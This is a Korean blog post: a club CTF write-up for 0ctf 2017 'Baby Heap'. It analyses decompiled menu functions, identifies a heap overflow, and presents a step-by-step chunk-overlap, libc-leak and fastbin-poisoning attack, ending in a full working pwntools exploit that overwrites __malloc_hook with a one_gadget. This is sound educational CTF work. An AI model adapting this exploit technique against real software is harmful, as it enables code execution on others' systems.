일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- BFS
- 브루트 포스
- tcache
- RTL
- off by one
- 포맷스트링버그
- 수학
- 문자열 처리
- heap
- OOB
- syscall
- 이진 탐색
- House of Orange
- 완전 탐색
- DFS
- 스위핑 알고리즘
- 에라토스테네스의 체
- 이분 탐색
- ROP
- 분할 정복
- 동적 계획법
- 백트래킹
- BOF
- 투 포인터
- 큐
- 이진트리
- 다이나믹 프로그래밍
- fsb
- 연결리스트
- 스택
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
pwn - sf8-1 ( 0ctf Quals 2017 - Baby Heap ) 본문
동아리 포너블 과제 sf8-1 exploit write up
이번 힙 과제는 0ctf Quals 2017에 나온 Baby Heap 문제 바이너리이다.
파일 다운로드
와! 보호기법이 전부걸려있다.
바로 바이너리 분석으로~
파일을 실행시키면 맨 처음 sub_B70함수로 임의의 주소에 mmap으로 0x1000만큼 할당을 해놓는다.
우리가 실행시킬 수 있는 메뉴는 크게 4가지가 존재한다.( 함수 이름은 내 맘대로 지었다. )
1. Allocate
2. Fill
3. Delete
4. Dump
먼저 Allocate부터 보자.
분석을 하다보면 입력을 받는 데이터가 구조체 배열로 이루어진것을 알 수 있는데
나는 구조체를 다음과 같이 정의했다.
struct note {
int use_flag;
int blank;
long content_size;
char *content_addr;
};
blank는 왜 넣었냐면 long use_flag로 퉁칠수도 있긴한데 아이다로 LODWORD(use_flag) = 1처럼 떠가지고 그냥 보기 편하게 하고 싶어서 저렇게 blank 변수를 넣었다. 의미는 없음
void __fastcall Allocate(note *a1, __int64 a2)
{
int i; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
void *v4; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !a1[i].use_flag )
{
printf("Size: ");
v3 = read_long();
if ( v3 > 0 )
{
if ( v3 > 0x1000 )
v3 = 0x1000;
v4 = calloc(v3, 1uLL);
if ( !v4 )
exit(-1);
a1[i].use_flag = 1;
a1[i].content_size = v3;
a1[i].content_addr = v4;
printf("Allocate Index %d\n", i);
}
return;
}
}
}
a1은 맨 처음에 mmap으로 할당한 주소고 배열처럼 정적으로 사용하는 듯하다.
size의 최대 길이는 0x1000이고 배열중 하나에 Allocate를 하면 use_flag에 1, contesnt_size에 입력받은 size, contest_addr에 주소를 넣어준다.
두번째로 Fill함수
__int64 __fastcall Fill(note *a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_long();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = a1[result].use_flag;
if ( result == 1 )
{
printf("Size: ");
result = read_long();
v3 = result;
if ( result > 0 )
{
printf("Content: ");
result = my_read(a1[v2].content_addr, v3);
}
}
}
return result;
}
여기서는 0~15 사이의 index를 입력하면 해당 배열의 ues_flag를 사용하는지 확인하고
use_flag가 1일 경우 새로운 size를 입력받고 size가 0보다 크면 read를 한다.
0이상 인지만 검사하고 우리가 note를 Allocate할 때 정해준 size와 비교하는 루틴이 없어서 BOF가 발생한다.
BOF가 발생하는 부분은 heap영역이다.
다음 Delete함수
note *__fastcall Delete(note *a1)
{
note *result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_long();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = a1[result].use_flag;
if ( result == 1 )
{
a1[v2].use_flag = 0;
a1[v2].content_size = 0LL;
free(a1[v2].content_addr);
result = &a1[v2];
result->content_addr = 0LL;
}
}
return result;
}
간단하게 use_flag가 1일 경우 use_flag과 content_size를 0으로 맞춰주고 content를 free시킨다.
free를 시킨후 content_addr를 0으로 맞춰서 double free를 못하게 만들었다.
마지막 Dump 함수
int __fastcall Dump(note *a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_long();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = a1[result].use_flag;
if ( result == 1 )
{
puts("Content: ");
sub_130F(a1[v2].content_addr, a1[v2].content_size);
result = puts(byte_14F1);
}
}
return result;
}
use_flag가 1이면 content_size길이 만큼 출력을 해준다.
이제 익스를 하자.
먼저 우리가 찾은 취약점은 heap에서 발생하는 BOF만 쓸 수 있다.
만약 출력이 printf("%s")같은 함수였으면 free시키고 overflow로 출력할 수 있지만 정확히 size만큼만 출력을 해서 알 수 없다.
따라서 나는 chunk의 size를 조작해서 chunk를 overlap시켜서 fastbin dup으로 malloc_hook에 one_gadget을 뿌려주려고 한다.
1. 청크 A, B, C, D를 할당한다.
(내 기준 B의 chunk size를 0x90이상, C의 chunk size를 0x70으로 맞춰준다.)
( A는 B의 크기를 조작, B는 C의 fd를 조작하는 용도, D는 malloc_consolidate를 막기 위한 용도)
2. A의 Fill을 통해 B의 chunk와 D의 chunk가 물리적으로 이어져있는 것처럼 조작한다. ( C chunk overlap )
3. B를 free시킨다.
4. B의 원래크기만큼 다시 할당하면 libc값이 C chunk로 들어간다.
5. C에 적힌 libc값을 leak 하고 C의 원래 크기만큼 할당해서 bins를 비워준다.
6. C를 free시킨다.
7. B의 Fill을 통해 C의 fd를 &malloc_hook - 0x20 - 3으로 맞춰준다.
8. 0x70 chunk를 두번 할당(각각 E, F 청크)하면 F의 0x70 chunk가 malloc_hook을 덮는다.
9. F의 Fill을 통해 malloc_hook을 one_gadget으로 덮는다.
10. Alloc을 한다.
exploit code
from pwn import *
p = process("./sf8-1")
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
def choice(idx):
p.sendlineafter(": ", str(idx))
def Alloc(size):
choice(1)
p.sendlineafter(":", str(size))
def Fill(idx, size, content):
choice(2)
p.sendlineafter(": ", str(idx))
p.sendlineafter(": ", str(size))
p.sendlineafter(": ", str(content))
def Delete(idx):
choice(3)
p.sendlineafter("Index: ", str(idx))
def Dump(idx):
choice(4)
p.sendlineafter("Index: ", str(idx))
Alloc(0x10) # A Alloc
Alloc(0x68+0x70) # B Alloc
Alloc(0x68) # C Alloc
Alloc(0x20) # D Alloc
Fill(0, 0x20, 'a'*0x10+p64(0)+p64(0x151))
# overlap C : chunk B -> chunk D
Delete(1) # B free
Alloc(0x68+0x70) # B Alloc
Dump(2)
p.recvuntil("Content: \n")
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
malloc_hook = main_arena_88 - 88 - 0x10
libc_base = main_arena_88 - 0x3c4b78
print "main_arena_88 : " + hex(main_arena_88)
print "libc_base : " + hex(libc_base)
og = libc_base + one[1]
print "og : " + hex(og)
Alloc(0x68) # C Alloc ( clear bins )
Delete(2) # C free
pay = ''
pay += p64(0)*2*0xd
pay += p64(0)+p64(0x71)
pay += p64(malloc_hook-0x20-3)
Fill(1, len(pay), pay) # C fd -> malloc_hook - 0x20 - 3
Alloc(0x68) # E Alloc
Alloc(0x68) # F Alloc -> overlap malloc_hook
pay = ''
pay += '\x00'*3
pay += p64(libc_base + 0x85e20) + p64(libc_base + 0x85a00)
pay += p64(og)
Fill(5, len(pay), pay) # overwrite malloc_hook
choice(1)
p.sendlineafter(": ", str(1)) # call malloc -> one_gadget
p.interactive()
'write-up > 동아리' 카테고리의 다른 글
pwn - sf9 ( HITCON 2016 - Sleepy Holder ) (0) | 2020.05.02 |
---|---|
pwn - sf8-2 ( ASIS CTF Quals 2018 - Cat ) (0) | 2020.05.01 |
pwn - sf7 (0) | 2020.04.30 |
pwn - tomato (sf6) (0) | 2020.04.30 |
pwn - sf5 (0) | 2020.04.30 |